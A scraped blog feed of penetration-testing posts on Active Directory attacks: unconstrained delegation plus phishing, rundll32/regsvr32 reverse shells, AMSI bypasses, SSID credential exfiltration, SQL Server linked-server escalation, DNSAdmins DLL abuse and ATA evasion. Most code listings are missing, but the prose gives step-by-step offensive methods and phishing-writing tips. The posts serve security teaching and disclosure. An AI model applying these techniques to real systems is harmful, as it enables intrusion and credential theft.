Quantcast
Channel: Lab of a Penetration Tester
Viewing all 79 articles
Browse latest View live

Getting Domain Admin with Kerberos Unconstrained Delegation

$
0
0
A recent penetration test was one of the rare ones where it was not possible to locate a domain admin credential (password/hash/ticket) using the usual methods. I already had Administrator access to one of the server thanks to a file upload feature in an in-house log management dashboard running over WAMP (WAMP runs with SYSTEM privileges). I got access to few more servers by using hashes of a domain user who was local admin on couple more servers and some more similar stuff, but still no luck. 

Anyway, after looking around for Active Directory and Kerberos related attacks for a while, it was time for reconsidering the attack approach. Recall the first thing which comes to mind when we fail at server side attacks? Absolutely! Client side attacks. I could drop some emails with attachments and links and hope for hitting a user machine which leads me to a server which has a Domain Admin token. The client, for his own reasons, wanted me to keep all the connect back shells/requests from phishing within the internal network and there was absolutely no outgoing traffic allowed towards my VPN machine.(Diagram build with draw.io)
So, either I needed to setup multiple listeners on one of the compromised servers which can handle multiple connect back shells or some way to use an existing service as a listener for my phishing attacks. Since I am lazy :) I decided to go with the second option, that is, using an existing service. While enumerating the domain after initial foothold, I saw that a web server had Kerberos Unconstrained Delegation enabled.

If Kerberos Unconstrained Delegation is enabled for a server, it is possible to capture ticket of users connecting to the server. Here is a nice post and  by Sean on Kerberos Unconstrained Delegation. Read that post for more details and how delegation works. So, all that needed to be done was creating phishing emails and use them to connect back to the server where I had admin access and wait for a domain admin to fall for an email.

Here is how I did it (replicated in my lab).
1. pfptlab-build is the server where we have admin access with RDP, PowerShell Remoting etc.
2. pfptlab-web is the server where we can execute commands as admin but it is not directly accessible.

Searching for computers with Unconstrained Delegation

By using the built-in Active Directory PowerShell Module. This module is available by default on Windows Server 2012. From an elevated shell on the server with admin access (pfptlab-build) use the below commands:
I have wrapped up above commands in a script Get-Unconstrained.ps1 found in the ActiveDirectory category of Nishang.

Another way of searching for computers with Unconstrained Delegation is using Powerview:

Setting up the "Listener"

On the server where unconstrained delegation is enabled (pfptlab-web in the lab), we can enumerate existing tickets using Invoke-Mimikatz. Keep in mind that we have admin access to the server with the help of hash of a domain user who is local admin on that server. Please note that we can pass the ticket as well but the expiry time of the ticket will play a spoilsport here as we need to wait till a domain admin connects to the machine.

We can use the hash of domain user webadmin which is a local admin on the pfptlab-web, the server with unconstrained delegation:
This is how the output of these commands look like:
Now, let's list tickets on pfptlab-web, the server with Unconstrained Delegation. Since, we have direct access to the pfptlab-build machine, let's *drop the script on disk* there and use below commands to use it in a stateful session on pfptlab-web without touching disk. Remember that below commands need to be run in the PowerShell console opened by over-passing the hash of the webadmin user:

An alternate way with a catch!
A quick thing to note here. If we try to use below command (to execute Invoke-Mimikatz on pfptlab-web without dropping the script to disk on pftplab-build) there will be an error.
Because, we cannot pass named parameters in the -ArgumentList parameter. It is not possible to pass "-Command '"sekurlsa::tickets"'" in the above case. We can pass only the positional parameters. To overcome this I changed the positions of the parameters. I assigned position 0 to the "Command" parameter of Invoke-Mimikatz and the above command worked successfully. Now the catch! If I add "/export" to the ArgumentList parameter in the above command, it fails as PowerShell passes it to the Invoke-Mimikatz as second parameter. If anyone is able to do that successfully, please share!

So, assuming that we have enumerated the Domain Administrator accounts already and one of them is the "Administrator", to know if a domain admin has connected we can use the following ugly method:
May be someone will automate this in a much cleaner way. If a ticket of the Domain Administrator, Administrator, is saved by Mimikatz, the second command above should list it. But, no Domain Admin ticket on pfptlab-web, yet.

Preparing email

Fortunately, the client's internal mail server allowed email relaying so sending phishing emails was not a problem. I was able to get access to email ids with a combination of AD usernames and couple of email excel files I got my hands on. After sharing the emails with the client, he removed emails of some guys from the management. One of the multiple email templates used was:
While I am no expert in crafting phishing emails, I would like you to note some points in the above email:
- No intimidation but a balanced tone of Authority.
- Use of jargon but not too obscure words, as if I was really trying to explain complex things in simple terms to the user. 
- Requirment of urgent action by the target user.
- Command which displays a lot of output.
- Providing an alternate way to the user if they can't access the share which makes me look more helpful.
Though I tried to pick the "email culture" of the client from the emails I exchanged, surely, this email could be written in a lot better way.

Using the below command, email was sent to users.
This is  how the email looked in like in mailbox of one of the targets.

Execution

After sending email, I started checking the tickets for Domain Administrator by running Invoke-Mimikatz repeatedly and soon there were more than one domain administrators who complied to whatever they were asked to do :D
Now, in my opinion, the best way to use the tickets is to copy them to the pfptlab-build server as we have direct connectivity to it. Using the below command we can copy all the tokens from the pfptlab-web to pfptlab-build machine.
Now, we can use one of the Administrators tickets copied locally to elevate our privileges to Domain Administrator:
Awesome! Finally Domain Admin access. Let the victory dance begin :D :D

Here is a quick video to demonstrate the attack:


After getting the DA access, I gathered some business related data to demonstrate actual impact to the client management.

Please leave feedback and comments.

Learn penetration testing of a highly secure, live Windows network with me in PowerShell for Penetration Testers Training at:

CanSecWest, Vancouver (4 days - March 12-15th, 2016) - https://cansecwest.com/dojos/2016/powershell.html






Practical use of JavaScript and COM Scriptlets for Penetration Testing

$
0
0
I have been following Casey Smith's brilliant work on JavaScript and COM Scriptlets. After looking at his work, I started playing with the code. I was interested in developing easy and customizable ways to use JavaScript, SCT files, rundll32 and regvr32 for...well...interesting things. After using some weeknights and weekends, I give you following PowerShell scripts (all available in Nishang):

 

Invoke-JSRatRundll

Based on JSRAT by Casey, Invoke-JSRatRundll uses rundll32.exe to execute JavaScript on a target which provides a Reverse PowerShell Shell over HTTP. Why? Because it is so cool. Also, it is file-less, the client part is just a single command and most importantly, another method to pwn targets :) The script and the client part are intelligent enough to figure out if there is a proxy in use and also to use first proxy from multiple proxies from Internet Explorer settings. Also, based on the method mentioned here, Invoke-JSRatRundll doesn't leaver rundll32.exe running on the target, when "exit" command is used from the spawned reverse shell, so a clean exit. 

The listener, on the attacker's machine, needs to be run from elevated PowerShell session.
This is how it looks like in action:

Start the listener
The above listener provides the following command to be run on a target. Please note that will need to remove newlines:
When the command is executed on the target:
We get a connect back on the listener:
Nice! A proxy aware,  file-less, Reverse PowerShell Session.

The client part (one-line command) can be used whenever we have the ability to execute a command on the target. Below is an example of using the client part with Out-Word from Nishang. Note that the the double quotes in client part need to be escaped by using double-quotes two times.
When a target user opens the Word file and chooses to enable Macros, the listener will receive a connect back from the target machine. Bingo!

One thing to note in Invoke-JSRatRundll is that a window pops-up temporarily whenever a command is executed on the target. It is because of the use of Exec method of WScript. The Run method which provides for silent execution could not be used as it did not return the output without storing the output temporarily somewhere on the target.

 

Invoke-JSRatRegsvr

This script utilizes regsvr32.exe for providing a Reverse PowerShell session over HTTP. Use of regsvr32, the technique which has been termed as "Squiblydoo", has added benefits. regsvr32.exe takes care of proxy by itself, the execution is file-less and AFAIK, leaves no traces on the target after a clean exit. 

The listener needs to be run from an elevated PowerShell on the attacker's machine. This is how it looks like in action:
 The above listener provides the following command to be run on the target:
As soon as the command is executed on a target, using a client side attack, or any other method:
Great!

This script also shows a window momentarily on the target machine for the same reason as Invoke-JSRatRundll

 

Out-RundllCommand

Use this script to generate rundll32.exe one line commands. The generated command can be used on a target to run PowerShell commands and scripts or a reverse PowerShell session over TCP.

Here is how to generate a command. 
Now, if the rundll32 command is executed on a target using client side attack or other methods, the payload will get executed.

During testing it was not possible to execute larger scripts (specially the encoded ones due to the increased length). The added advantage with this script is it can be used with a simple netcat listener on a Linux machine as well. There is no need to run a special listener unlike in the above two scripts.
Start a netcat/Powercat listener. Run Out-RundllCommand with the -Reverse switch:
 When the generated rundll32 command is executed on the target:
Nice!

Also, the execution is silent on the target machine. Please note that this script leaves rundll32.exe running on the target machine.

 

Out-JS

This script is useful for client side attacks. Using this script, we can create "weaponized" JavaScript files which can be sent to a target user to execute PowerShell scripts and commands. Once a user executes the file (a double click opens the file using Windows Script Host, wscript.exe), the specified payload gets executed on the target with the privileges of the current user. The default name of the generated file is Style.js. 

Once again, it was not possible to execute large scripts, therefore, there is no option of specifying a script path. An example is included in the script to execute a reverse PowerShell session over TCP.

Out-SCT

This script generates a SCT file which can be used with regsvr32.exe to execute PowerShell scripts and commands. The default name of the generated file is UpdateCheck.xml. This file needs to be hosted on a web server and the one-liner regsvr is to be executed on the target.  Note that, in case a PayloadURL is provided, two connections are made from the target environment. This first one to pull the SCT file and the second one to download the PowerShell script.

Like Out-JS only small scripts can be executed using Out-SCT. An example is included in the help of this script which explains usage of a Reverse PowerShell session over TCP without having to download a script. 

Usage with metasploit

Some of the above scripts can be used to get a meterpreter session in the following ways:

Create a PowerShell meterpreter payload using msfvenom:

Host the generated payload on a web server.

Using Out-SCT
Pass the URL where meterprer PowerShell script is hosted to Out-SCT.
Now, host the generated SCT file on a web server. When the generated regsvr32 command is executed on a target, this will happen:

Awesome! A reverse HTTPS meterpreter from a file-less execution which is also helpful in avoiding Applocker!

Using Out-JS
Pass the URL to Out-JS.
When the generated Style,js is executed on a target, we will get a connect back on msfconsole!

Using Out-RundllCommand
Pass the URL to Out-RundllCommand.
Once again, when the generated rundll32 command is executed on a target, a meterpreter will pop-up in the msfconsole.

That is all for this post, all the scripts are available in the GitHub repository of Nishang. Hope you liked it. Please leave feedback and comments.

Join me for a two days training"Offensive PowerShell for Red and Blue Teams" at Shakacon, Honolulu (2 days - July 11th - 12th, 2016) - https://www.shakacon.org/trainings/offensive-powershell-for-red-and-blue-teams-by-nikhil-mittal/


AMSI: How Windows 10 Plans to Stop Script-Based Attacks and How Well It Does It

$
0
0
Last month I gave a talk about Microsoft's AntiMalware Scan Interface (AMSI) at Black Hat USA. The talk and this post details my experiments with AMSI.

I first encountered AMSI while using some of the PowerShell scripts from Nishang on a Windows 10 box in my lab. I noticed that some of the scripts didn't work even if loaded from memory which was very interesting. Being a long time user of PowerShell in my pen tests, I was interested in the technique being used to detect scripts from Nishang in memory. After a quick search, I stumbled upon this excellent TechNet article which introduces AMSI. From that article, this article and documentation of AMSI, following detection abilities and features are claimed with AMSI:
  • Memory and Stream scanning. This means that the input method - disk, memory/stream or manual input makes no difference on the detection capabilities.
  • Scripts are submitted to the AntiVirus/AntiMalware product by AMSI when the de-obfuscated plain code is presented to the script host. This means that obfuscation should help only to a limited extent.
  • Since the scripts are "picked up" when submitted to the scripting host, code which doesn't utilize powershell.exe but uses System.Automation DLL will also be analyzed.

And when I tested AMSI with different tools and techniques, detection rate was indeed better than what I expected.

Major techniques which were tested and detected by AMSI:


Executing scripts from memory - Using the -EncodedCommand parameter of powershell.exe and the famous one liner download-execute.

Execution of everyone's favorite, Invoke-Mimikatz:
When AMSI was disabled:


When AMSI was enabled (default on Windows 10):


Executing scripts without using powershell.exe - Using separate runspace (p0wnedshell, psattack) and using System.Automation.Dll (nps, Powerpick)

Unusual Storage - Scripts loaded from WMI namespaces, Registry Keys and Event Logs.

Application whitelisting bypass methods - InstallUtil, regsrv32 and rundll32

All of the techniques were detected by AMSI! While the detection was no surprise given that AMSI steps in at the script host level, still, this looked intimidating! More so because Windows Defender supports AMSI by default on Windows 10.  I quickly started looking for different ways to avoid or bypass AMSI.  Turned out that there are bunch of techniques that can be used to bypass or avoid AMSI.

Bypass or Avoid AMSI


Force use PowerShell v2: PowerShell v2 doesn't support AMSI at the time of writing. If .Net 3.0 is available on a target Windows 10 machine - which is not default - PowerShell v2 can be started  with the -Version option.
 

Obfuscation
Another interesting way is to change the signature of the PowerShell script so that the AntiVirus to which AMSI submits our script doesn't detect it as malicious. To play with the signatures Windows Defender have for scripts, lets play with one of the scripts from Nishang, Gupt-Backdoor, which gets detected as malicious by AMSI.

Lets remove the help section, all the functionality and replace the function and variable names with random strings.

 And the result is:

Apparently, among other things, Windows Defender looks for specific function and variable names. Actually, this should not be a surprise as I know of few antiviruses which use Twitter handles of PowerShell hackers as a signature.

Manual obfuscation of a huge script such as Invoke-Mimikatz could not be done manually. Fortunately, the obfuscate functionality of the awesome ISE-Steroids module is very effective! Lets obfuscate Invoke-Mimikatz from Nishang.
Now, when the obfuscated version is loaded, there is no detection.
Bingo!

Make sure that the function calls are made from the script before obfuscation. 
This is very interesting! As per the articles mentioned at beginning of this post, AMSI has additional calls if any sort of obfuscation, even base64, is used in the script.This obfuscation getting past AMSI has been a sort of mystery for me.This probably has more to do with the signatures available with Windows Defender than with AMSI. I welcome comments on this specific thing as I am unable to understand why Invoke-Mimikatz was not detected if the plain de-obfuscated code was submitted to AMSI.

Unload AMSI

Set-MpPreference
This built-in cmdlet can be used to make AMSI ineffective by disabling protection offered by Windows Defender.

Below command can be used to disable real time monitoring for Windows Defender

There are some 'gotchas' with the technique though:
  • A notification is shown to the user
  • Needs to be run from an elevated shell
  • Event ID 5001 (Microsoft-Windows-Windows Defender/Operational) - Windows Defender Real-Time Protection was disabled.
Another command can be used, this is useful for avoiding detection of in-memory download execute one liner.
This command doesn't show any notification to the user but:
  • An elevated shell is still required and;
  • Event ID 5004 (Microsoft-Windows-Windows Defender/Operational)  - Windows Defender Real-Time Protection feature (IE Downloads and Outlook Express attachments) configuration has changed.
DLL Hijacking - Method used in p0wnedshell
Cornelis de Plaa (@Cneelis) discovered this brilliant method and implemented it in his awesome p0wnedshell. There is a detailed blog post about the method. It is a DLL hijacking method where amsi.dll is dropped in the current working directory while loading the p0wnedshell runspace. The dll is loaded by the runspace and exits immediately to unload AMSI. 

So p0wnedshell successfully bypasses AMSI. But there is another interesting part of the security mechanism, PowerShellv5 supports automatic script block logging. The scripts loaded by p0wnedshell generate Event ID 4104 (Microsoft-Windows-PowerShell/Operational) – Suspicious script block logging (due to successful loading of scripts in memory).

Reflection - Matt Graeber's method
Matt Graeber (@mattifestation) tweeted an awesome one line AMSI bypass. Like many other things by Matt, this is my favorite. It doesn't need elevated shell and there is no notification to the user but the automatic script block logging, like in the case of p0wnedshell, generates Event ID 4104. Turns out that it is the script block logging which is the real headache. There are a bunch of script logging bypasses I am aware of, discovered by other PowerShell hackers, but not public yet.


Anyway, I like this method because it can be used with existing PowerShell script execution methods.
For example, lets bypass AMSI using a client side attack and get a meterpreter on the target Windows 10 box. Lets generate a weaponized MS Word document using Nishang's Out-Word and instruct it to download and execute a PowerShell meterpreter.
As soon as a target opens the Word file and click on "Enable Content", this happens:
Sweet! We bypassed AMSI in a client side attack!

AMSI is certainly not the security silver bullet which many organizations (wrongly) keep looking for but it is indeed an improvement in Windows security.

My slides for the Black Hat preso are here:
http://www.slideshare.net/nikhil_mittal/amsi-how-windows-10-plans-to-stop-scriptbased-attacks-and-how-well-it-does-it


Hope this was useful. Please leave feedback and comments!

Exfiltration of User Credentials using WLAN SSID

$
0
0
I was playing with Windows Hosted Network feature couple of days back. A hopefully useful idea which came to my mind was using the name of the hosted SSID for exfiltration. Since, SSID names support maximum 32 bytes the choice of data to exfiltrate is not really wide. Something like user credentials is small enough to fit in this limited space.

I wrote a PowerShell script which allows use to exfiltrate data using only SSID names. I give you Invoke-SSIDExfil.ps1. Here is the source code. This script provides for multiple options to exfiltrate data. Since, we are mostly after user credentials, the script uses logic from Invoke-CredentialsPhish to show a credentials prompt to the user to capture credentials in clear text. The captured credentials are then encoded using ROT13 (not going to call ROT13 encryption though that may be the technically correct term) and a Windows Hosted Network is created and started with SSID name set as to the encoded value in the form Domain:Username:Password. Below is the script in action. Please note that the script must be executed from an elevated shell:
And this is how  - if we are in physical proximity of the target - the SSID looks like:
Now, we can decode the user credentials using Invoke-SSIDExfil script's -Decode option.

Neat! From my past experience, such scripts are useful for impressive demonstrations.

The script can be used as a payload in targeted client side attacks, Human Interface Devices (Kautilya), authenticated command execution and other techniques.

Using the -StringToExfiltrate and -ExfilOnly parameters, it is also possible to exfiltrate a small piece of data without showing a credential prompt to the user.

An update to the Gupt-Backdoor

While working on this script, I revisited Gupt-Backdoor. That backdoor is quite impressive as well when it comes to demonstrations. I blogged about it here. An improvement to that backdoor has been added which allows to pass a one line PowerShell downloand and execute cradle for PowerShell v3 onwards. Also, ROT13 encoding has been implemented to make SSID names less suspicious. Below command can be used to start the backdoor on a target and tell that an encoded command will be provided to it:
And this is how a Wireless AP can be started to send instructions to the backdoor.

And the execution looks like below. The backdoor downloads and executes Get-WLAN-Keys from Nishang:
Small but useful improvements!

Hope you enjoyed the post! Please leave feedback and comments.

Using SQL Server for attacking a Forest Trust

$
0
0
Recently I started playing with the awesome PowerUpSQL tool by guys at NetSPI. I was interested in the ability to attack an Active Directory (AD) environment using access to a SQL Server, that is, not leaving the database layer as long as possible. Fortunately, during a Red team engagement few weeks back, I had a chance to play with PowerUpSQL extensively. Turns out that it is very much possible to enumerate and attack not only the current domain but a trusting forest in a Two-Way External Trust as well from the database layer. Let's have a look at it!

Network Diagram
I have mapped the client network to my lab on a much smaller scale.  We have access to the SQL Server ops-sqlsrvone where we have public privileges and can communicate to only selected machines on the defensiveps.com forest. 

Cross Forest Enumeration
It is possible to enumerate the current domain accounts using PowerUpSQL using interesting fuzzing methods. In our lab setup we know that there is a trust relationship from offensiveps with a forest called defensiveps (we can use PowerView, netdom or Get-ADTrust). But PowerUpSQL does not provide a way of specifying an alternate domain to enumerate accounts. We can change a single variable in the code to use an alternate domain.
Now, it is possible to enumerate interesting information from the target domain which is in a different forest.After modifying the value of $Domain variable, import the PowerUpSQL module and run the below command:
Neat! We got a list of target domain's users, groups, computers etc.

The enumeration done above helped in listing SQL Servers in the defensiveps domain. Now, mimicking the network I encountered during the assessment, it is possible to access only dps-sqlsrvdev, couple of DCs and some terminal servers in the defensiveps network directly. So, let's enumerate dps-sqlsrvdev:

Database logins
Note that our current user is listed as a login above and that is why it is possible to enumerate the above. Let's check the current privileges we have:
No sysadmin privileges. We can check it manually as well (I am using HeidiSQL as a client):

We can go ahead with a brute-force attack as there are some interesting SQL server logins and generally, account lockouts are not enabled in SQL Server databases and nobody really looks at the logs of authentication failure in SQL Server, at least, on non-production servers. But we are not going to do that right now.

Linked Servers
We can also enumerate linked servers for dps-sqlsrvdev. Let's do it:
Nice! A server, dps-sqlsrvtwo, in the defensiveps domain - which we enumerated earlier as well - is linked to the current database. Note that it is possible to run arbitrary SQL queries on the linked database even if we have only public privileges on both the initial and destination servers with the privileges configured in the link. Read more about hacking SQL Server links in the amazing blog by Antti. Link enumeration can be done manually as well:
So, dps-sqlsrvdev has a linked server dps-sqlsrvtwo.

Now, to execute queries on the destination server (dps-sqlsrvtwo) we can use Openquery as suggested by Antti in the blog linked above. Let's see our current user and if we have sysadmin privileges:

Turns out that we have only public privileges with a user called dbuser and the target server is SQL Server 2016 SP1.

Now, we can try various methods from PowerUpSQL for privilege escalation on SQL Server. The problem is we can't access dps-sqlsrvtwo directly and AFAIK, there is no way to execute these commands on a linked server using the tool. So, we need to try the methods manually, one by one. During the Red Team assessment, I found out a user which we can impersonate on a linked server. So, let's use that in our lab setup as well. To list all the users which we can impersonate from our current user can be listed using the following SQL query stolen directly from this amazing blog by Scott. We are going to use the query inside Openquery so that it can be executed on the linked server:
Looks like we can impersonate a user called "reportsuser". But a command like below is most likely to fail:
Why? Because, apparently, it is not possible to use EXECUTE AS without getting our privileges revert to the original 'dbuser'. I tried WITH NO REVERT option as well but soon realized that it may work only when sending the query directly to a database. Please see this MSDN documentation on EXECUTE AS.

No luck there! Let's look for another interesting privilege escalation avenue - trustworthy database. Read this very useful blog, once again by Scott, to understand more about trustworthy database. We can use the following query - taken from the blog referenced above -  to enumerate trustworthy databases on the target linked server:
A trustworthy database 'reports_db'! Let's list users with db_owner role on the server:
Now, let's see if our current user - dbuser - is db_owner of reports_db on the linked server. In place of checking the role, let's try to create a stored procedure in the reports_db database which can help us in privilege escalation. Please note that to create a stored procedure RPC Out must be enabled for the linked server - which is not enabled by default but quite common in case of linked servers. The idea is to create a stored procedure which gets executed as OWNER which is the user 'sa'. Use below query to create a stored procedure on the linked database.
Our stored procedure makes dbuser a sysadmin. Now, let's execute the stored procedure.

Neat! Now we can access all databases and tables on the target server. PowerUpSQL provides very useful commands for pillaging a database (and that is what I used first in the assessment to capture some juicy data) but we are not going to use them. See this blog post for details about that.

In many cases, this is one of the major goals of red team assessments, staying within the database layer we have access to multiple SQL servers across forest trust and juicy information stored within them. Since we have not done anything very unusual or noisy up to now, there are very low chances of detection. In fact, in my lab I have Microsoft Advanced Threat Analytics (ATA) set up and there was no detection of the attack. Obviously, because we did not communicate to the domain controller at all and ATA looks at only the DC traffic. Take that ATA!

Since, RPC Out is enabled on the linked server and we have sysadmin privileges, it is possible to enable xp_cmdshell and achieve OS command execution! Please note that if xp_cmdshell was already enabled on the linked server, we could execute OS commands without RPC Out while using only Openquery! Use below to enable xp_cmdshell
And let's see the privileges of the database process:

Great! Looks like the SQL server process is running with a domain user (sqlprodadmin) privileges. We can now hunt for a DA token from the normal domain user privileges we have on dps-sqlsrvtwo. Let's use the awesome PowerView for the DA token hunting. Remember that we cannot access our linked server dps-sqlsrvtwo directly and we do not have command execution on dps-sqlsrvdev. To load PowerView on dps-sqlsrvtwo, we can download and execute it in memory using PowerShell one-liner.
The one-liner needs to be encoded so that the URL doesn't mess up with the syntax of SQL query. Also, make sure that PowerView is modified a bit to include call to functions in the script itself and to receive the output the function calls must be piped to Out-Host.
And let's execute the encoded command:
Awesome! Looks like on the server dps-srvjump a DA token is available and our current user has local admin access. Let's dump NTLM hash of the DA - Administrator from dps-srvjump using Invoke-Mimikatz.
Finally, let's use these hashes with Invoke-Mimikatz to run a command on the DC of defensiveps. The DC of defensiveps is accessible from our machine in the offensiveps forest.

Bingo! DA access in the target forest!

We started with a non-admin domain user and worked our way to multiple SQL Servers while staying only at the database layer. We also got domain admin/enterprise admin in a trusting forest! :)

Mitigations

SQL Server Level
Multiple common mitigations like having limited linked databases and not enabling RPC Out on linked servers would have helped. Also, restricted allocation of privileges, even the public login, will help. One of the databases we encountered later on was running with a domain user's privileges. This is disastrous as it opens up many opportunities for privilege escalation on the domain level! Restricting privileges with which the database processes run is always desired.

Forest Level
Many improvements can be made. Allowing a local administrator on a box where a Domain Admin can log in is very very dangerous and results in disastrous situations like the one we saw above. If there is a box where DAs' privileges are required no other administrative account should be present. Logs will also tell you about a successful DA authentication from a forest if someone is looking for such information. Also, Selective Authentication can help in forest trust scenarios.

A note on ATA
I have Microsoft ATA setup in the lab where all the attacks took place. Since, ATA is the new sheriff in town let's discuss it a bit. ATA detect anomalies by looking at the traffic destined to the DC(s) by port mirroring. If we can limit ourselves to those attacks and techniques where there is no or minimal interaction with a DC, it is possible to avoid ATA and still get access to the most interesting machines and information. ATA thrives on Red Teamer/attacker's desire of going for DA rights as soon as possible. It is not always necessary to go after DA and use Golden ticket/Skeleton key/Credentials replay attacks for achieving the goal of an assessment unless, of course, you want to brag about it in your report :D Of course, there are bypasses for ATA as well but why bypass it when you can avoid it :)

Hope you enjoyed the post. Please leave comments, feedback and questions.

Abusing DNSAdmins privilege for escalation in Active Directory

$
0
0
Yesterday, I read this awesome post by Shay Ber here which details a feature abuse in Windows Active Directory (AD) environment.  I rely heavily on feature abuse during my red team engagements and always recommend them over memory corruption exploits during my training as well. Feature abuses are as lethal as exploits and are almost always ignored.

The post details a feature abuse in AD where a user who is member of the DNSAdmins group or have write privileges to a DNS server object can load an arbitrary DLL with SYSTEM privileges on the DNS server. Since, many enterprise setups use the Domain Controller (DC) as a DNS server as well, this is a very interesting find. Let's try to  see the practical usage of this feature.

This is the lab setup. We have initial access as a normal domain user (labuser) on one of the boxes in our lab AD.


Let's first enumerate users who are part of the DNSAdmins group using PowerView.
In a real red team or pentest, the next step would be to target the buildadmin user. We can find a box where token of buildadmin is available using Invoke-UserHunter from PowerView.
To keep the discussion on the topic at hand, let's assume that we found a box where a ticket of buildadmin is available and our current user (labuser) has local admin access as well (derivative admin). So, we have privileges of the user who is a member of the DNSAdmins group.

Now, there could be two scenarios - one where the DC is the DNS server as well and second, where a separate server acts as the DNS server.

For the first scenario, where the DNS Server service is running on the DC we can simply use dnscmd as mentioned in the post by Shay to load a dll. There is also a PowerShell module - dnsserver - for this but it is not well documented.

Before we discuss the dll to be used, there is a catch which the above referenced post didn't address. If we have a look at the MS-DNSP protocol specification, the ServerLevelPluginDll needs an absolute pathname. That means, it is not possible to load a DLL from a UNC path. We must load the DLL from the local machine. I tried UNC paths, HTTP etc. without any success. This actually spoils the attack to much extent as we will need write privileges on the DC :/ I actually though of not writing this post after discovering this but decided to write it anyway so that others do not spend time looking for the same thing. Also, that is how one learns :) I will be glad if someone smarter than me finds out a way to do this remotely.

UPDATE: Benjamin confirmed that it is possible to load the DLL from UNC path. The 'C$' in my UNC path was the problem!

We can use the below command to load the DLL. The path \\ops-build\dll should be readable by the DC:
For debugging (admin rights required on the target), below command can be used to check if DLL was added successfully on the target

Now, since our user is a part of the DNSAdmins, we can restart the DNS service. While, this is NOT the default configuration, it makes sense for such a user to have the rights to restart the DNS service. But, the service restart must be done from the local box, that is, DC in the current scenario. We need administrator rights to do it remotely  - the attack gets more typical and hard to execute :(

So what do we get after successfully executing the above commands? Benjamin quickly updated mimilib to be used with this attack. The updated version of mimilib when used in this attack logs all DNS queries to C:\Windows\system32\kiwidns.log
We can make changes to kdns.c to include capability of command execution. I included a simple line of code to execute a reverse PowerShell shell encoded using Invoke-Encode from Nishang. The payload gets executed for each query to the DNS service and the kiwidns.log will still be created and populated.
 
On our listener:
Neat! SYSTEM on the domain controller. We own this domain and possibly the entire forest :D

For our second scenario, if DNS service was not running on the DC we can still get SYSTEM access on the box with 'only' the privileges of DNSAdmins and restarting the DNS service.

How to detect the attack? 

To prevent the attack, audit ACL for write privilege to DNS server object and membership of DNSAdmins group. 

Obvious indicators like DNS service restart and couple of log entries:
DNS Server Log Event ID 150 for failure and 770 for success


Microsoft-Windows-DNS-Server/Audit Log Event ID 541 for both success and failure.
Monitoring changes to HKLM:\SYSTEM\CurrentControlSet\services\DNS\Parameters\ServerLevelPluginDll will also help.


Hope you liked the post. Please leave feedback and comments.

Week of Evading Microsoft ATA - Announcement and Day 1

$
0
0
I have been playing with Microsoft Advanced Threat Analytics (ATA) for past few months. I found it useful for Blue Teams and scary as a Red Teamer as it detects many Active Directory (AD) tools and techniques. Naturally, I needed ways to bypass it and that is something which motivated me to spend weekends and nights looking for ways out. I found some methods to bypass ATA, some to avoid it and some to attack the ATA installation. 

I gave a talk about Evading Microsoft ATA for Active Directory Dominance at Black Hat USA last week (slides at the end of the post) and would speak at 44CON and BruCON on some of the additional research I am doing. 

What I found mostly during my research was it is not really difficult to evade detection by ATA as long as we are not running tools blindly without understanding what they do. So, to generate interest on using offensive tools more wisely and modifying techniques based on the detection mechanisms, in addition to my talks at multiple conferences, I announce a Week of Evading Microsoft ATA beginning from 7th of August 2017.

We will see interesting stuff the whole week which includes whatever discussed in my talk and more:

Day 1 - Introduction, detection and bypassing/avoiding Recon and Brute-force detection
Day 2 - Detection and bypass of overpass-the-hash and golden ticket
Day 3 - Bypasses/avoidance using more Kerberos attacks and attacks across trusts
Day 4 - Bypasses/avoidance by reducing conversation with the DC
Day 5 - Attacking ATA deployment, limitations of research and mitigation

Let's get started with Day 1:

What is ATA?
ATA is a platform which listens to certain protocols going to the Domain Controllers (DC) of a domain. It can integrate with syslog, SIEM etc. It can detect attacks based on anomaly and user behaviour. AFAIK, for anomaly detection there is no learning period for some attacks (one week for certain attacks) and for behavioural detection there is a learning period of 21 days. We are going to focus only on the anomaly based attacks.

ATA Architecture
ATA needs to see the traffic being sent to the DC. Here is how it looks like:

ATA Gateway is that part which reads the traffic and parses it. ATA Center is that part which stores the parsed traffic, do analysis, stores everything in a mongodb and hosts ATA console where we can see alerts. The Gateway can either be a separate box or a lightweight one which can be installed on to a DC. More on architecture here.

Lab Setup
The lab setup uses a Lightweight ATA Gateway with ATA 1.8 (started with 1.7) which is the latest at the time of writing - 30th July 2017.  I use this installation in my PowerShell and Active Directory training and therefore, the installation has been tested by more than 400 hackers and infosec professionals in last 7 months. 

What attacks can ATA detect?
Many! Have a look at this link: What threats does ATA look for?
The attacks which we are interested in:

Recon
- Account enumeration
- NetSession enumeration
- Directory services enumeration. 
Above attacks result in enumeration of users, computers, group membership, sessions etc. 

Compromise Credentials
- Brute-force
- Unusual protocol implementation

Lateral Movement
- Pass the ticket
- Pass the hash
- Overpass-the-hash

Domain Dominance
- Golden Ticket
- Malicious replication requests

Once we understand the architecture, let's jump in and have a look at various attacks. We will follow a simple "attack chain" where we begin with a normal domain user privileges and then work our way up to domain dominance. We will see ATA detects us and how it can be bypassed at each step.

Recon

We assume that we have a normal domain user privileges. We start with the domain enumeration and try to list computers, group membership of domain admins etc. This enumeration is fine with ATA most of the times. But for some enumeration there are alerts. For example, if you enumerate all users and groups in a domain using PowerView, there are no alerts but if the native net.exe is used that may be detected as "Reconnaissance using directory services enumeration":

Why so? Because ATA currently detects such enumeration done using SAMR protocol which is used by net.exe. PowerView uses LDAP queries which ATA does not care about currently for enumeration. In fact, ATA is mostly interested in the authentication related data when it comes to LDAP.

To avoid detection WMI queries can also be used. This was covered by Chris Thompson (@retBandit) in his DEF CON talk:

Get all users in the domain "opsdc"
Get all domain groups:
Get membership of the Domain Admins group:
Because we have enough information now, let's move ahead with some more enumeration. Let's start hunting for local admin privileges on other boxes.
Let's hunt for a machine where a DA token is available and we have local admin privileges:
Both the above activities are detected by ATA as Reconnaissance using SMB session enumeration:
Now, if we look at the alert closely. ATA complains about Recon against only the DC. What does that mean? That means, if we gather the information from the DC but do not run user hunting against the DC it would be possible to bypass this detection. To avoid running user hunting against the DC, we need to use the -ComputerFile parameter of Invoke-UserHunter or Find-LocalAdminAccess and provide a list of computers which does not contain the name or IP of the DC.


This is how it looks like in the lab:
And above will not be detected by ATA! A simple but effective bypass ;) As long as we keep our communication with the DC minimum, chances of detection would be low.

Another enumeration technique, not caught by ATA right now, is using SPN scanning. Read this article to know more about SPNs. We will touch SPN scanning on Day 4.

Brute-Force
